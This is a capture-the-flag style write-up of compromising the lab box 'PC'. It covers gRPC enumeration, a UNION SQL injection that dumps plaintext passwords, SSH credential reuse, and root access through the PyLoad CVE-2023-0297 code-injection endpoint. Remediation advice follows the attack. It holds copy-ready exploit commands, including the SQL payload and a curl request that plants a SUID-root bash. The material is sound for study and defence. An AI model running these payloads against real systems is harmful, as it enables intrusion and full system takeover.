PC
Summary
Target pc ($TARGET) exposed only two services: SSH on port 22 and a custom gRPC application on port 50051. The gRPC server had reflection enabled, advertising a 'SimpleApp' service whose GetInfo method passed a caller-supplied identifier directly into a SQL query.
A UNION-based injection extracted the entire users table, which stored passwords in plaintext; the recovered credential for 'sau' worked identically as the system SSH password. Once inside, a PyLoad download-manager daemon was found running as root on localhost port 9666.
PyLoad 0.5.0b3.dev31 evaluated [REDACTED: recovered credential] Python passed in the 'jk' POST parameter to its /flash/addcrypted2 endpoint without any authentication check (CVE-2023-0297). A single curl request created a SUID-root copy of bash, completing full system compromise.
Command conventions
The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].
export TARGET="<retired-instance-ip>"
export PASSWORD="<a-password-you-choose>"
export PASSWORD2="<a-password-you-choose>"Attack path — how the box was taken
Exact commands 1
nmap -Pn -sV --open -p22,50051 $TARGETExact commands 5
apt-get install -y grpcurl 2>/dev/null || go install github.com/fullstorydev/grpcurl/cmd/grpcurl@latestgrpcurl -plaintext $TARGET:50051 listgrpcurl -plaintext $TARGET:50051 list SimpleAppgrpcurl -plaintext -d '{"username":"$PASSWORD2","password":"$PASSWORD2"}' $TARGET:50051 SimpleApp/RegisterUsergrpcurl -plaintext -d '{"username":"$PASSWORD2","password":"$PASSWORD2"}' $TARGET:50051 SimpleApp/LoginUserFixDisable gRPC server reflection in productionMedium
Exact commands 1
grpcurl -plaintext -H 'token: <JWT_FROM_STEP_2>' -d '{"id":"1 UNION SELECT username || \":\" || password FROM accounts--"}' $TARGET:50051 SimpleApp/GetInfoFixParameterize all SQL queries and hash stored passwordsCritical
Exact commands 2
sshpass -p "$PASSWORD" ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null sau@$TARGET 'id; hostname'sshpass -p "$PASSWORD" ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null sau@$TARGET 'cat /home/sau/user.txt'FixEnforce unique OS credentials and disable SSH password authenticationHigh
Exact commands 2
ss -tlnpps aux | grep -i pyloadExact commands 2
sshpass -p "$PASSWORD" ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null sau@$TARGET "curl -s -d 'jk=pyimport os;os.system(\"cp /bin/bash /tmp/rootbash; chmod 6777 /tmp/rootbash\");f=function f2(){};&package=xxx&crypted=AAAA&&passwords=aaaa' http://127.0.0.1:9666/flash/addcrypted2 >/tmp/pyload.out 2>/tmp/pyload.err; sleep 1; ls -la /tmp/rootbash"sshpass -p "$PASSWORD" ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null sau@$TARGET '/tmp/rootbash -p -c "id; cat /root/root.txt"'FixPatch PyLoad (CVE-2023-0297) and run it as a least-privilege service accountCritical
Attack patterns used
The transferable techniques behind this compromise.
Password / Credential ReuseCredential Access · Lateral MovementT1078
What it is
A password recovered from one place — a config file, a database, a cracked hash, a service account — is tried against other accounts and services (SSH, SMB, WinRM, sudo, the database, the next host). Reuse turns a single leaked secret into broad access.
Why it works
Humans and deployments reuse passwords across accounts and tiers, and lateral movement thrives on it. Remediate with unique credentials per account/service, a password manager/vault, and MFA on remote-access services.
Read more
SQL InjectionWebT1190
What it is
User input is concatenated into a SQL query, letting an unauthorised user alter the query's logic — bypassing authentication, dumping tables (including password hashes), or, with stacked queries / file privileges, writing webshells or executing OS commands. sqlmap automates detection and exploitation across boolean/error/time/union vectors.
Why it works
The root cause is mixing untrusted data with query code instead of using parameterized statements. Remediate with prepared statements/ORM bindings, least-privilege DB accounts, and input validation.
Read more
Exposed services
| 22/tcp | ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0) |
| 50051/tcp | grpc |